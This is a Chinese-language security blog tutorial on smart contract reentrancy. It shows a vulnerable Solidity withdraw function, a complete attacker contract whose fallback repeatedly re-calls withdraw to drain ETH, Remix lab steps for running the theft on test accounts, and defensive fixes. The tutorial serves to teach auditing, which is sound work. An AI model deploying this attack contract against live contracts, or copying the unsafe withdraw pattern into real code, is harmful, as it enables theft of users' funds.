智能合约安全审计之路-重入攻击

文章源自【字节脉搏社区】-字节脉搏实验室

作者-毕竟话少

描述:漏洞合约中某个函数中,使用call()方法发送eth,若eth的接收者为一个合约地址,则会触发该合约的fallback()函数。若该合约是攻击者的恶意合约,攻击者可以在fallback()函数中重新调用漏洞合约的上述函数,导致重入攻击

核心问题:重要的合约变量在“重入”的过程中没有被修改,从而绕过了限制

Fallback函数

概念: 回退函数,是合约里的特殊无名函数,有且仅有一个。它在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。

触发场景:

  • address.send(ether_to_send)
  • address.call().value(ether_to_send)

漏洞流程

漏洞合约分析

pragma solidity ^0.4.24;    contract ReentrancyGame {      mapping (address => uint) public credit; //credit表示存储用户的余额      event Deposit(address _who, uint value);  //Deposit表示充值    event Withdraw(address _who, uint value);      function deposit() payable public returns (bool) {      credit[msg.sender] += msg.value; //credit调用deposit()函数进行充值使用msg.value进行ETH发送      emit Deposit(msg.sender, msg.value);      return true;    }      function withdraw(uint amount) public returns (bool) { //withdraw提币函数      if (credit[msg.sender]>= amount) {        msg.sender.call.value(amount)();        credit[msg.sender]-=amount;        emit Withdraw(msg.sender, amount);        return true;      }      return false;    }      function creditOf(address to) public returns (uint) {      return credit[to];    }  }

漏洞点:从提币开始,首先校验credit是否大于amount(本次提现的ETH),然后使用call.value进行转账,然后再扣除余额。这里漏洞点就出在我们先使用call.value对用户进行转账,然后再减少余额。就是因为这种情况,攻击者可以反复进行withdraw(),在进入withdraw()之前,第一步的校验仍然有效,在进入withdraw()之后,credit(余额)并没有减少,第一步的校验仍然有效,攻击者才能源源不断的从合约中提取ETH

攻击者合约

pragma solidity ^0.4.24;    contract ReentrancyGame {      mapping (address => uint) public credit;      event Deposit(address _who, uint value);    event Withdraw(address _who, uint value);      function deposit() payable public returns (bool) {      credit[msg.sender] += msg.value;      emit Deposit(msg.sender, msg.value);      return true;    }      function withdraw(uint amount) public returns (bool) {      if (credit[msg.sender]>= amount) {        msg.sender.call.value(amount)();        credit[msg.sender]-=amount;        emit Withdraw(msg.sender, amount);        return true;      }      return false;    }      function creditOf(address to) public returns (uint) {      return credit[to];    }      function checkBalance() public constant returns (uint){        return this.balance;    }  }    contract ReentrancyAttack {   //调用attack()函数对漏洞合约进行远远不断的偷取ETH    ReentrancyGame public regame;    address owner;      function ReentrancyAttack (ReentrancyGame addr) payable {      owner = msg.sender;      regame = addr;    }      function attack() public returns (bool){      regame.deposit.value(1)();      regame.withdraw(1);      return true;    }      function geteth() public returns (bool){      owner.transfer(this.balance);      return true;    }      function checkBalance() public constant returns (uint){        return this.balance;    }      function() public payable {      regame.withdraw(1);    }  }

使用Remix进行调试

  • 首先对合约进行编译(Current version设置为0.4X,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为ReentrancyAttack,ReentrancyGame)
  • 首先部署ReentrancyGame(漏洞合约),这里Account设置一个受害者账户(0xca3…a733c),然后点击Deploy部署完成后漏洞合约,这里还是需要充值一定数量的ETH便于实验观察(Value设置为100 wei ETH点击deposit,然后点击checkBalance查看当前受害者地址为100 wei ETH,这里受害者合约ReentrancyGame就部署完成了)
  • 攻击者合约部署ReentrancyAttack(攻击者合约),由于漏洞合约地址在提现的时候需要一定的ETH,所以这里在设置ReentrancyAttack合约的时候需要设置Value为5 wei ETH,Deploy设置为ReetrancyGame合约地址(注:这里是合约地址并不是账户地址)Account换一个账户(0x147…c160c)点击Deploy即可部署攻击者合约,部署完成后点击checkBalance查看当前账户余额为5 wei ETH,说明攻击者合约部署完成了
  • 漏洞攻击-点击ReentrancyAttack(攻击者合约)attack即可攻击。攻击的过程中由于一直通过withdraw()函数进行循环提现,过程有点缓慢,等gas消耗完毕既可以查看(checkBalance)攻击者合约账号余额为51 wei ETH,再次查看ReentrancyGame(漏洞合约)账户余额为54 wei ETH,漏洞利用成功

漏洞预防

  1. 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。
  2. 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
  3. 将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。